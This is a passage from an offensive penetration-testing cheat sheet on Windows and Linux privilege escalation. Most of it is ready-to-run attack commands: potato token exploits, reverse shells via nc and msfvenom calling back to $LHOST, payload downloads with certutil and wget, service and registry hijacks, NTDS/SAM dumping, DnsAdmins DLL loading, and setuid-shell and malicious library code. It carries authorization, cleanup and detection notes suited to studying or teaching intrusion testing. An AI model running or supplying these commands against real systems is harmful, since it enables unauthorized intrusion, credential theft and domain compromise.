    428 | SweetPotato.exe | .NET 4.x | broad | combo: PrintSpoofer + EfsRpc + Rotten auto-fallback in one binary |
    429 | RoguePotato (link) | fake OXID resolver reachable on **135** (socat port-fwd) | Spooler-off boxes | needs the redirector; use when outbound 135 to attacker is possible |
    430 | JuicyPotatoNG (link) | .NET 4.x, local interactive | newer builds | `-t *` CreateProcessWithToken; pairs with PrintSpoofer-style add-user |
    431 | SharpEfsPotato (link) | EFS-RPC reachable | broad, C# (memory-only friendly) | executes inline; good when dropping EXEs is blocked |
    432 
    433 ```powershell
    434 whoami /priv | findstr /i "Impersonate AssignPrimaryToken"
    435 [System.Environment]::OSVersion.Version   # pick the right potato
    436 sc query Spooler                          # up? PrintSpoofer viable
    437 # .NET version decides GodPotato variant:
    438 reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release
    439 # Release >= 378389 → .NET 4.5+ present → GodPotato-NET4; older/legacy → -NET35
    440 ```
    441 ```powershell
    442 # ── GodPotato: broadest compatibility (Server 2012–2022, Win8–11) ──
    443 .\GodPotato-NET4.exe -cmd "cmd /c whoami"
    444 .\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add"
    445 .\GodPotato-NET4.exe -cmd "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
    446 
    447 # ── PrintSpoofer: fast/clean, needs Print Spooler ──
    448 sc query Spooler
    449 .\PrintSpoofer64.exe -i -c cmd                       # interactive SYSTEM
    450 .\PrintSpoofer64.exe -c "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
    451 
    452 # ── JuicyPotato: legacy builds only ──
    453 .\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t *
    454 
    455 # ── SweetPotato: auto-fallback combo ──
    456 .\SweetPotato.exe -a "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
    457 ```
    458 ```bash
    459 # Connect to the MSSQL foothold from Linux.
    460 impacket-mssqlclient "$U":"$P"@$IP -windows-auth
    461 ```
    462 
    463 ```text
    464 # Commands entered at the mssqlclient SQL prompt.
    465 SQL> enable_xp_cmdshell
    466 SQL> xp_cmdshell whoami /priv
    467 SQL> xp_cmdshell certutil -urlcache -f http://$LHOST/GodPotato-NET4.exe C:\Temp\gp.exe
    468 SQL> xp_cmdshell C:\Temp\gp.exe -cmd "cmd /c net localgroup administrators $U /add"
    469 ```
    470 
    471 > [!warning] Watch out
    472 > **JuicyPotato is dead on Server 2019+ / Win10 1809+** (Microsoft killed the DCOM path) — reach for **GodPotato** or **PrintSpoofer** there. If Print Spooler is disabled, PrintSpoofer won't fire; GodPotato doesn't need it. The potato itself is quiet — the SYSTEM cmd/powershell spawned from `w3wp.exe`/`sqlservr.exe` (Event 4688) is the loud part.
    473 
    474 #### 4 — AlwaysInstallElevated
    475 
    476 ```batch
    477 :: ── BOTH keys must be 0x1 ──
    478 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    479 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    480 ```
    481 ```bash
    482 # ── [ATTACKER] build a SYSTEM MSI ──
    483 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o evil.msi
    484 ```
    485 ```batch
    486 :: ── [TARGET] install silently → SYSTEM shell ──
    487 msiexec /quiet /qn /norestart /i C:\Windows\Temp\evil.msi
    488 :: or PowerUp's user-add MSI
    489 ```
    490 ```powershell
    491 Import-Module .\PowerUp.ps1; Write-UserAddMSI
    492 ```
    493 
    494 > [!note] Loud but reliable: MSI install writes Event 11707 (MsiInstaller) and the service/executable artifacts land under `C:\Program Files`. Remove the installed product (`msiexec /x`) after proving the path. MITRE [T1548.002](https://attack.mitre.org/techniques/T1548/002/).
    495 
    496 #### 5 — Unquoted service path
    497 
    498 ```batch
    499 wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
    500 icacls "C:\Program Files\Some Folder\"    :: can I write an intermediate dir?
    501 ```
    502 ```bash
    503 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o Some.exe
    504 ```
    505 ```batch
    506 copy Some.exe "C:\Program Files\Some.exe"
    507 sc stop VulnSvc & sc start VulnSvc
    508 ```
    509 
    510 > [!warning] Watch out
    511 > Unquoted paths are *commonly found but rarely exploitable* — writing to `C:\` or `C:\Program Files` needs admin, and I usually can't restart the service (wait for reboot). Report it, but don't hang the whole box on it. Weak service **perms** below are the real win.
    512 
    513 #### 6 — Weak service perms (binary / DACL / registry)
    514 
    515 **What to look for:** `SERVICE_CHANGE_CONFIG` / `SERVICE_ALL_ACCESS` for my user, a writable service `.exe`, or a writable service registry key.
    516 
    517 ```batch
    518 :: modifiable services / binaries
    519 accesschk.exe /accepteula -uwcqv "Authenticated Users" *
    520 accesschk.exe /accepteula -uwcqv "Users" *
    521 accesschk.exe /accepteula -quvcw VulnSvc
    522 icacls "C:\Program Files\VulnApp\service.exe"
    523 accesschk.exe /accepteula "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\Services
    524 ```
    525 ```batch
    526 :: ── (a) weak service DACL: read the SDDL, then reconfigure binpath ──
    527 sc sdshow VulnSvc                                    :: D: A;;CCLCSWRPWPDTLOCRRC;;;SY ... look for your SID/group with RPWP
    528 sc config VulnSvc binpath= "cmd /c net localgroup administrators %USERNAME% /add"
    529 sc stop VulnSvc & sc start VulnSvc
    530 net localgroup administrators
    531 :: cleanup: restore original binpath (and SDDL if changed: sc sdset VulnSvc "D:(...)")
    532 sc config VulnSvc binpath= "C:\Program Files\VulnApp\service.exe"
    533 
    534 :: ── (b) writable binary → replace it ──
    535 copy /Y C:\Windows\Temp\payload.exe "C:\Program Files\VulnApp\service.exe"
    536 sc stop VulnSvc & sc start VulnSvc
    537 ```
    538 ```powershell
    539 # ── (c) writable registry ImagePath ──
    540 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Windows\Temp\payload.exe"
    541 Restart-Service VulnSvc
    542 ```
    543 
    544 > [!tip] The service will "fail to start" — that's fine, the command already ran as **LocalSystem**. Always revert the binpath afterward or you break the service and leave a loud artifact (**Event 7045** new/changed service, 4657 registry change). MITRE [T1543.003](https://attack.mitre.org/techniques/T1543/003/) / [T1574](https://attack.mitre.org/techniques/T1574/).
    545 
    546 > [!opsec] OPSEC / detection — service abuse
    547 > `sc config` / `sdset` changes are written to the registry under `HKLM\SYSTEM\CurrentControlSet\Services\<svc>` and logged (Sysmon 13, 4657, 7045 on start). Prefer: (1) record the original `binpath`/SDDL (`sc qc`, `sc sdshow`) *before* touching anything, (2) use the `cmd /c <one-shot>` binpath form so no binary is dropped, (3) restore immediately after the callback lands, (4) if the box is monitored, consider the **writable-binary** variant instead — replacing an existing EXE leaves no service-config event at all (but does trip file-integrity/AV scans).
    548 
    549 **DLL search-order table** (for the DLL-hijack deep dive below — Safe DLL Search Mode ON, the default):
    550 
    551 | # | Location searched | Abusable when |
    552 |---|---|---|
    553 | 1 | **Application's own directory** | app folder writable by me → drop the DLL here (the classic) |
    554 | 2 | `C:\Windows\System32` | admin-only (or via SeManageVolume/SeRestore write) |
    555 | 3 | `C:\Windows\System` | admin-only |
    556 | 4 | `C:\Windows` | admin-only |
    557 | 5 | **Current working directory** | pushed low by Safe DLL Search; abusable via writable CWD + relative launch |
    558 | 6 | **PATH directories (in order)** | a user-writable dir sits on the SYSTEM PATH → plant DLL ([T1574.001](https://attack.mitre.org/techniques/T1574/001/)) |
    559 
    560 #### 7 — Credential hunting: autologon, unattend, cmdkey, history
    561 
    562 Quick local sweep here — the full playbook (SYSVOL cpassword, DPAPI, KeePass, browser stores, config files) lives in [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting).
    563 
    564 ```batch
    565 :: ── plaintext autologon creds ──
    566 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  :: DefaultUserName/DefaultPassword
    567 :: ── unattended-install leftovers (cleartext or Base64 creds) ──
    568 where /R C:\ unattend.xml
    569 type C:\Windows\Panther\unattend.xml
    570 type C:\Windows\System32\Sysprep\sysprep.xml
    571 :: ── saved creds → runas ──
    572 cmdkey /list
    573 runas /savecred /user:%USERDOMAIN%\Administrator "cmd.exe /c C:\Windows\Temp\nc64.exe %LHOST% 443 -e cmd.exe"
    574 :: ── config-file sweep ──
    575 findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
    576 ```
    577 ```powershell
    578 # ── PowerShell history (all users), then spray reuse everywhere ──
    579 foreach($u in (ls C:\users).fullname){cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
    580 ```
    581 
    582 > [!note] Password reuse is rampant — any credential I find (history file, Sticky Notes, web.config) gets sprayed across every reachable host. Re-enumerate after every priv gain: files readable as admin that weren't readable before often hold the domain keys.
    583 
    584 #### 8 — AD privileged-group abuse (on/against a DC)
    585 
    586 **What to look for:** `whoami /groups` showing **Backup Operators, Server Operators, Print Operators, DnsAdmins**, or Account Operators. Each is a direct or near-direct path to DC/SYSTEM.
    587 
    588 ```batch
    589 whoami /groups | findstr /i "Backup Server Print DnsAdmins Account"
    590 ```
    591 
    592 **Backup Operators** — `SeBackup`/`SeRestore` read *any* file → grab NTDS + SYSTEM → offline hashes (🟣 Attack):
    593 ```powershell
    594 whoami /priv                                   # SeBackupPrivilege / SeRestorePrivilege
    595 robocopy /B C:\Windows\NTDS C:\Temp ntds.dit   # backup-mode copy bypasses the lock/ACL
    596 reg save HKLM\SYSTEM C:\Temp\SYSTEM
    597 ```
    598 ```bash
    599 # remote, no logon needed:
    600 reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SAM' -o SAM
    601 reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SYSTEM' -o SYSTEM
    602 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
    603 ```
    604 
    605 **Server Operators** — can manage services on the DC → make one run as SYSTEM (🟣 Attack):
    606 ```batch
    607 sc.exe \\%COMPUTERNAME% query type=own | findstr SERVICE_NAME
    608 sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators %USERNAME% /add"
    609 sc.exe \\DC01 stop VSS & sc.exe \\DC01 start VSS
    610 ```
    611 
    612 **Print Operators** — `SeLoadDriverPrivilege` → load a vulnerable driver (🟣 Attack):
    613 ```batch
    614 whoami /priv                                          :: SeLoadDriverPrivilege Enabled
    615 EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\Tools\Capcom.sys
    616 ExploitCapcom.exe                                     :: SYSTEM shell (BYOVD on modern builds)
    617 ```
    618 
    619 **DnsAdmins** — DNS runs as SYSTEM; load a plugin DLL (🟣 Attack):
    620 ```bash
    621 msfvenom -p windows/x64/exec cmd='net group "domain admins" '"$U"' /add /domain' -f dll -o evil.dll
    622 smbserver.py share /path/to/dll/ -smb2support
    623 ```
    624 ```powershell
    625 dnscmd $DC /config /serverlevelplugindll \\$LHOST\share\evil.dll
    626 sc \\$DC stop dns; sc \\$DC start dns          # DLL executes as SYSTEM
    627 # CLEANUP immediately or DNS stays broken:
    628 reg delete "\\$DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
    629 sc \\$DC start dns
    630 ```
    631 
    632 > [!warning] Watch out
    633 > **DnsAdmins and Server Operators are destructive** — the DLL crashes DNS for the whole domain until cleanup, and a broken service on a DC is very visible. Get explicit authorization, restore config the moment you've proven it, and delete `ServerLevelPluginDll` / revert the binpath. `SeLoadDriverPrivilege` (Print Operators) is blocked for HKCU driver refs since Win10 1803 — use `EoPLoadDriver` which registers under a writable key, and BYOVD only where driver-signing enforcement allows it.
    634 
    635 > [!tip] Cleanup is part of the job on every one of these: revert service binpaths, remove added users, delete registry keys, restore file ownership — and document each change for the report.
    636 
    637 #### 9 — MSSQL admin → OS command execution
    638 
    639 **What to look for:** I'm `sysadmin` on MSSQL (found via creds, or the foothold *is* the SQL service). Two escalation paths: `xp_cmdshell`, or **Agent jobs** (survive when xp_cmdshell is blocked/removed).
    640 
    641 ```text
    642 -- at the SQL prompt (impacket-mssqlclient / sqlcmd) — enable + execute
    643 SQL> enable_xp_cmdshell
    644 SQL> xp_cmdshell whoami
    645 -- then potato it (§3) if the service account has SeImpersonate (default for MSSQL)
    646 
    647 -- Agent-job route (works when sp_OACreate / xp_cmdshell are hardened away):
    648 USE msdb;
    649 EXEC sp_add_job @job_name = 'pwnd';
    650 EXEC sp_add_jobstep @job_name = 'pwnd', @step_name = 'x',
    651      @subsystem = 'PowerShell',
    652      @command = 'powershell -enc <base64_revshell>';
    653 EXEC sp_add_jobserver @job_name = 'pwnd';
    654 EXEC sp_start_job @job_name = 'pwnd';
    655 -- cleanup: EXEC sp_delete_job @job_name = 'pwnd';
    656 ```
    657 
    658 > [!tip] MSSQL enumeration, linked servers, and the full attack surface: [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration). `xp_cmdshell` runs as the **service account** — check `whoami /priv` in its output for `SeImpersonatePrivilege` (GodPotato path, §3). Agent jobs can also run as a proxy account with *different* privileges than the SQL service — sometimes that's the escalation.
    659 
    660 #### 10 — SCCM / WSUS / management-infra abuse
    661 
    662 **What to look for:** signs the box is managed by SCCM (`C:\Windows\CCM`, `ccmexec.exe`) or a WSUS client (`HKLM\...\WindowsUpdate\AU` pointing at an internal HTTP server).
    663 
    664 - **SCCM** — hunt credentials and devices with [sccmhunter](https://github.com/garrettfoster13/sccmhunter) (`find`, `smb`, `show` modules from the attack box), abuse client push / application deployment with [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) on-host (`.\SharpSCCM.exe get naa` recovers Network Access Account creds from WMI policy — a classic local-admin harvest). Full module: [sibling notes](/sheets/pentest-workflow/adcs-and-certificate-abuse) and Stage 03 service enum.
    665 - **WSUS over HTTP** — the update path is unsigned-metadata over HTTP; inject a fake "update" that runs a PsExec-style command as SYSTEM (concept: [SharpWSUS](https://github.com/nettitude/SharpWSUS) / pywsus). Requires control of or MitM to the WSUS server — usually a *post*-compromise lateral move, not a first privesc.
    666 
    667 > [!warning] Watch out
    668 > SCCM `get naa` touches WMI on the site server path; fake WSUS updates **change machine state domain-wide** if scoped wrong. Both need explicit authorization and tight cleanup notes.
    669 
    670 #### 11 — Secondary logon & token tools: RunasCs + incognito
    671 
    672 **What to look for:** I have *credentials* for a higher-priv user but no interactive session (no runas GUI, `runas` needs a console), or a SYSTEM box where I want to become a specific user.
    673 
    674 ```powershell
    675 # ── RunasCs (link-only: https://github.com/antonioCoco/RunasCs) — runas that works
    676 #    from ANY shell, supports remote/forced logon types and reverse shells ──
    677 .\RunasCs.exe lowadmin 'Pass123!' powershell -r $LHOST:443
    678 .\RunasCs.exe lowadmin 'Pass123!' cmd -l 3        # logon type 3 = network (no profile, quiet)
    679 # ── Meterpreter incognito (post-exploit module) — list & steal live tokens ──
    680 meterpreter > load incognito
    681 meterpreter > list_tokens -u
    682 meterpreter > impersonate_token "DOMAIN\\Administrator"   # token must exist (user logged in / service running)
    683 meterpreter > getsystem    # technique 1 = impersonation variant of the potato idea
    684 ```
    685 
    686 > [!note] `incognito` steals **existing** tokens only — if the target user has never logged on since boot (no delegation token), there's nothing to steal. `runas /netonly` (Stage 08) creates a *local* process with remote creds — different primitive, useful for AD tooling, not local privesc.
    687 
    688 #### 12 — Windows kernel/local privesc CVEs (last resort)
    689 
    690 **What to look for:** `systeminfo` output fed to [WES-NG](https://github.com/bitsadmin/wesng) / [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) offline, missing-patch diff pointing at a privesc CVE. Same rule as Linux: **misconfigs first, kernel last** — a blue screen on a client's DC ends engagements.
    691 
    692 | CVE / name | Affects | Vector | Caution |
    693 |---|---|---|---|
    694 | MS16-032 (Secondary Logon) | Vista→2012 R2, pre-MS16-032 | PowerShell race → SYSTEM | PSv2+; reliable-ish, old targets only |
    695 | CVE-2021-36934 HiveNightmare | Win10 1809+ / Server 2019+ with VSS shadow | SAM/SECURITY/SYSTEM hives **world-readable** → dump local hashes | read-only, non-destructive — try early; check `icacls C:\Windows\System32\config\SAM` |
    696 | CVE-2021-1675 / CVE-2021-34527 PrintNightmare | Spooler on, point-and-print | driver load → SYSTEM | loud, needs auth; patched mid-2021 but stragglers persist |
    697 | CVE-2022-21999 SpoolFool | Spooler on | dir-primitive → DLL write → SYSTEM | PoC-only class; verify build |
    698 | PwnKit-class Windows analogues (token/ALPC bugs) | varies | varies | treat as memory-corruption risk unless logic bug |
    699 
    700 ```powershell
    701 # HiveNightmare quick check — BUILTIN\Users read on the SAM hive = vulnerable
    702 icacls C:\Windows\System32\config\SAM
    703 ```
    704 
    705 > [!danger] Kernel exploit caution (Windows)
    706 > Same discipline as Linux §7: (1) config/group/token paths first, (2) prefer *logic* bugs (HiveNightmare is a permissions bug — no crash risk) over memory corruption, (3) verify the exact build against WES-NG output, (4) expect BSOD possibility and get sign-off, (5) document. Detection: **Event 4688** (process creation), **7045** (new service), **4672** (special privileges assigned) will light up on nearly every escalation here — assume a monitored box sees the *effect* even when the exploit itself is fileless.
    707 
    708 > [!opsec] Detection cheat-sheet (what the blue team sees)
    709 > | Artifact | Event / source |
    710 > |---|---|
    711 > | New or reconfigured service | 7045 (System), 4697, SC Manager logs |
    712 > | SYSTEM child of `w3wp.exe`/`sqlservr.exe` | 4688 process creation (potatoes) |
    713 > | Token privileges granted/used | 4672 / 4673 (sensitive privilege use) |
    714 > | LSASS access | Sysmon 10 (process access, GrantedAccess 0x1010) |
    715 > | Registry ImagePath / Run key change | 4657, Sysmon 12–14 |
    716 > | `wevtutil` / log tampering | 1102 (log cleared) — never clear logs, exfiltrate and leave them |
    717 
    718 ---
    719 
    720 ### 👥 Privileged group shortcuts (why `whoami /groups` matters)
    721 
    722 **What to look for** → `whoami /groups` (or a BloodHound `MemberOf`) showing a built-in operator group. Several are a direct escalation without any CVE:
    723 
    724 - **Account Operators** → create users and reset/modify any non-protected account, and log on to the DC. Pivot: create a user and drop it into a non-protected group that holds an ACL edge (STAGE 6), or reset a service account's password. Deep dive: 🟣 Attack.
    725 - **Backup Operators** → read any file via `SeBackupPrivilege` → grab `NTDS.dit` + `SYSTEM` off the DC (see STAGE 9/10), *not* the local SAM. Deep dive: 🟣 Attack.
    726 - **Server Operators** → control services on the DC → reconfigure one to run your payload as `SYSTEM`. Deep dive: 🟣 Attack.
    727 - **Print Operators** → `SeLoadDriverPrivilege` → load a malicious driver. Deep dive: 🟣 Attack.
    728 - **DnsAdmins** → DLL injection into the DNS service (`dns.exe`) → `SYSTEM` on the DC. Deep dive: 🟣 Attack.
    729 - **Event Log Readers** → not direct privesc, but **sensitive-log scraping** is a credential mine: PowerShell transcription/ScriptBlock logs (4104), command-line auditing (4688 with cmdline), and RDP/auth logs routinely contain passwords typed as arguments, connection strings, and `-p` flags:
    730   ```powershell
    731   Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -match "pass|pwd|token"} | Select -First 20
    732   wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:200 | findstr /i "password"
    733   ```
    734 - **Hyper-V Administrators** → Full control of VMs on the host: swap/replace a running VM's virtual hard disk (`HardDiskDrive` ACL manipulation or VHDX swap → boot a VM you control, mount the original disk offline) → loot the VM's hives/creds. Also a path to the host via `vmwp.exe` vulnerabilities on old builds.
    735 - **Remote Management Users** → WinRM access (foothold, not privesc) — but combined with the groups above it's the execution channel.
    736 ### 🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd)
    737 
    738 Depth behind STAGE 9's one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the **trust boundary** where a root process (cron, SUID binary, root's own session, an NFS export) trusts something I can write, and step through it. Full command index: [Linux PrivEsc Cheat Sheet](/sheets/privilege-escalation/linux-privesc).
    739 
    740 #### A — PATH hijack a root-run *unqualified* command
    741 
    742 **What to look for:** a root cron job / SUID binary / sudoers script that calls a helper by bare name (`conncheck`, `service`, `backup`) instead of an absolute path, plus a writable dir sitting earlier in that process's `PATH`.
    743 
    744 ```bash
    745 # find writable dirs on PATH + which root scripts call bare command names
    746 echo $PATH
    747 find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # world-writable dirs
    748 grep -rE '^[^/#]*\b(cp|tar|service|backup|conncheck)\b' /etc/cron* /opt /usr/local 2>/dev/null
    749 strings /path/to/suid_bin | grep -vE '^/'   # SUID calling a bare name → hijackable
    750 ```
    751 ```bash
    752 # drop a same-named payload in a dir that resolves before the real binary
    753 PATH=.:${PATH}; export PATH
    754 printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > conncheck
    755 chmod +x conncheck
    756 # when the root job fires: /tmp/rootbash -p  → root euid
    757 ```
    758 
    759 > [!warning] Watch out
    760 > `sudo -l` showing `secure_path=...` **kills PATH abuse for that sudoers entry** — sudo rebuilds PATH from `secure_path`, so a hijack only works against cron/SUID/scripts, not that sudo command. A SUID binary calling `system("service …")` runs the child through `/bin/sh` and *does* honour my PATH — that's the classic win. Details: 2 - Cron Jobs & Scheduled Task Abuse.
    761 
    762 #### B — Wildcard / argument injection (beyond `tar --checkpoint`)
    763 
    764 **What to look for:** a root cron/script running a command with a bare `*` over a directory I can write to — `tar -zcf bak.tgz *`, `chown -R x *`, `rsync … *`. The glob expands my crafted filenames straight into the command's argv.
    765 
    766 ```bash
    767 # tar → cleaner payload than a revshell: grant myself NOPASSWD (survives, no listener)
    768 echo 'echo "'"$U"' ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
    769 echo "" > "--checkpoint-action=exec=sh root.sh"
    770 echo "" > "--checkpoint=1"
    771 # next tar run → sudo su ; done
    772 ```
    773 ```bash
    774 # rsync wildcard → -e runs a command as the remote-shell
    775 touch "shell.sh"; echo 'cp /bin/bash /tmp/rb;chmod +s /tmp/rb' > shell.sh
    776 touch "-e sh shell.sh"                         # rsync … *  ->  rsync -e sh shell.sh
    777 # chown/chmod wildcard → --reference clones a file's owner/mode onto the glob
    778 touch "--reference=/tmp/pwned"                 # chown -R root:root *  hands me ownership
    779 ```
    780 
    781 > [!tip] `tar`, `rsync`, `chown`, `chmod`, `7z` all have GTFOBins-documented wildcard/argv abuse. Confirm the job is *live* with `pspy64 -pf` before planting files — a stale-looking backup script that never fires wastes the window. Absolute-path args + a leading `--` separator are the fix, so their absence is the tell.
    782 
    783 #### C — NFS `no_root_squash` → SUID shell staged as attacker-root
    784 
    785 **What to look for:** an NFS export marked `no_root_squash` (or `no_all_squash`). Normally root on a client is squashed to `nfsnobody`; `no_root_squash` lets me create **root-owned SUID files** on the share from my own box (where I *am* root).
    786 
    787 ```bash
    788 # ── [ATTACKER] enumerate exports, no creds needed ──
    789 showmount -e $IP
    790 # on target, confirm the flag:  cat /etc/exports   →  /var/nfs/general *(rw,no_root_squash)
    791 ```
    792 ```bash
    793 # ── [ATTACKER, as real root] build a setuid shell (no -p needed) and stage it ──
    794 cat > shell.c <<'EOF'
    795 int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
    796 EOF
    797 gcc shell.c -o shell -static            # -static dodges target glibc mismatch
    798 sudo mount -t nfs $IP:/tmp /mnt
    799 cp shell /mnt && chmod u+s /mnt/shell
    800 # ── [TARGET] low-priv session ──  /tmp/shell  → uid=0
    801 ```
    802 
    803 > [!warning] Watch out
    804 > I must be **root on my own box** for the `chmod u+s` to stick with root ownership across the mount — that's the whole mechanism. `cp /bin/bash` works too but then you need `bash -p` on target to keep euid; a hand-rolled `setuid(0)` binary doesn't. If the mount errors, the export is likely `root_squash` (safe default) and this path is dead. LinPEAS flags `no_root_squash` automatically. See 9 - Remaining Vectors & Skills Checklist.
    805 
    806 #### D — `docker` group / writable `docker.sock` (root-equivalent, no CVE)
    807 
    808 **What to look for:** my `id` shows the `docker` group, a SUID/sudo `docker`, **or** a readable/writable `/var/run/docker.sock` (on host *or* inside a container). Any of these = full host filesystem, because Docker mounts arbitrary host paths into a container I control.
    809 
    810 ```bash
    811 id | grep -o 'docker'
    812 ls -la /var/run/docker.sock          # srw-rw---- and I can reach it?
    813 find / -name docker.sock 2>/dev/null # from inside a container too
    814 ```
    815 ```bash
    816 # ── docker group on host: mount host / into a throwaway container and chroot in ──
    817 docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash          # you ARE the host now
    818 docker run -v /root:/mnt -it ubuntu                            # or just grab /root, /etc/shadow
    819 
    820 # ── writable socket from inside a container (docker CLI may be absent → stage it) ──
    821 wget http://$LHOST/docker -O /tmp/docker && chmod +x /tmp/docker
    822 /tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu
    823 /tmp/docker -H unix:///var/run/docker.sock ps                  # grab the new container id
    824 /tmp/docker -H unix:///var/run/docker.sock exec -it <id> cat /hostsystem/root/.ssh/id_rsa
    825 ```
    826 
    827 > [!note] Before any socket trick, check for a **bind-mounted host dir** inside the container (`/hostsystem`, weird top-level paths) — reading `/hostsystem/home/*/.ssh/id_rsa` and SSHing to the host is faster than spawning a sibling container. `deepce` automates all of this from a container foothold. Full walk-through: 6 - Docker Privilege Escalation. (LXD/LXC group is already in STAGE 9 §6.)
    828 
    829 #### E — Writable `/etc/passwd` or `/etc/shadow`
    830 
    831 **What to look for:** `/etc/passwd` or `/etc/shadow` world-writable (or reachable via a `cap_dac_override` binary / Dirty Pipe). Add a root-UID user, or blank root's password. Same logic applies to a **writable `/etc/sudoers`** (rare but instant: add `$U ALL=(ALL) NOPASSWD: ALL`).
    832 
    833 ```bash
    834 ls -l /etc/passwd /etc/shadow /etc/sudoers
    835 find / -writable -name passwd -o -writable -name shadow 2>/dev/null
    836 ```
    837 ```bash
    838 # ── writable /etc/passwd: append a second UID-0 account with a known password ──
    839 openssl passwd -1 -salt x Pass123           # -> $1$x$....
    840 echo 'r00t:$1$x$hashfromabove:0:0:root:/root:/bin/bash' >> /etc/passwd
    841 su r00t                                     # Pass123 → uid=0
    842 
    843 # ── cap_dac_override binary (e.g. vim.basic) bypasses perms → blank root's pw field ──
    844 getcap -r / 2>/dev/null | grep cap_dac_override
    845 echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
    846 su root                                     # no password prompt at all
    847 ```
    848 
    849 > [!warning] Watch out
    850 > Modern `/etc/passwd` uses `x` (password in shadow), so editing passwd only helps if I *add* a full hash inline (as above) — the system honours an inline `$1$…` over the `x`/shadow redirection. `cap_dac_override`, `cap_setuid`, `cap_setgid` are invisible to `ls -l`; only `getcap` shows them. See 8 - Kernel Exploits, SUID-SGID & Capabilities.
    851 
    852 #### F — Shared-library hijack: RUNPATH · LD_LIBRARY_PATH · ld.so.preload
    853 
    854 **What to look for:** a SUID/root binary linked against a **non-standard `.so`** whose search path (RUNPATH/RPATH, or an env-kept `LD_LIBRARY_PATH`) points somewhere writable. Broader than the `env_keep+=LD_PRELOAD` one-liner already in STAGE 9 §2.
    855 
    856 ```bash
    857 ldd /path/to/suid_bin                 # any lib in a weird/writable dir?
    858 readelf -d /path/to/suid_bin | grep -E 'RPATH|RUNPATH'   # runpath checked BEFORE system dirs
    859 ./suid_bin                            # run it first: "undefined symbol: dbquery" names the fn to export
    860 ```
    861 ```bash
    862 # ── build a malicious .so exporting the SAME symbol the binary calls ──
    863 cat > src.c <<'EOF'
    864 #include <stdlib.h>
    865 #include <unistd.h>
    866 void dbquery(){ setuid(0); system("/bin/sh -p"); }   // match the missing symbol name
    867 EOF
    868 gcc src.c -fPIC -shared -o /development/libshared.so   # /development = the writable RUNPATH dir
    869 ./suid_bin                                             # loads my lib as root
    870 
    871 # ── env-kept LD_LIBRARY_PATH via sudo, same idea without a writable RUNPATH ──
    872 sudo LD_LIBRARY_PATH=/tmp <allowed_cmd>
    873 ```
    874 
    875 > [!tip] The fake `.so` **must export every symbol the binary actually calls**, or it won't load — run the binary unmodified first to read the `undefined symbol` name. `-p` on `sh`/`bash` preserves the SUID euid. A SUID binary that can write `/etc/ld.so.preload` (e.g. **Screen 4.5.0**) is the nuclear version — one line there preloads my lib into *every* dynamically-linked process system-wide. Deep dive: 9 - Remaining Vectors & Skills Checklist / env side in 4 - Escaping Restricted Shells & Environment Variable Abuse.
    876 
    877 #### G — Python library hijacking (3 flavours)
    878 
    879 **What to look for:** a **SUID or `sudo`-run Python script**. I don't need a bug in the script — I hijack a module it imports.
    880 
    881 ```bash
    882 # 1) writable module SOURCE — inject into a function the script calls
    883 pip3 show psutil                                   # -> install Location
    884 ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py   # world-writable?
    885 # prepend to the imported function:  import os; os.system('id')
    886 
    887 # 2) sys.path priority — drop a same-named module in a higher-priority WRITABLE dir
    888 python3 -c 'import sys; print("\n".join(sys.path))'
    889 ls -ld /usr/lib/python3.8                          # earlier in sys.path AND writable → wins
    890 printf 'import os\ndef virtual_memory():\n os.system("/bin/bash -p")\n' > /usr/lib/python3.8/psutil.py
    891 
    892 # 3) PYTHONPATH — needs SETENV in sudoers, no writable path anywhere
    893 sudo -l | grep SETENV                              # (ALL) SETENV: NOPASSWD: /usr/bin/python3
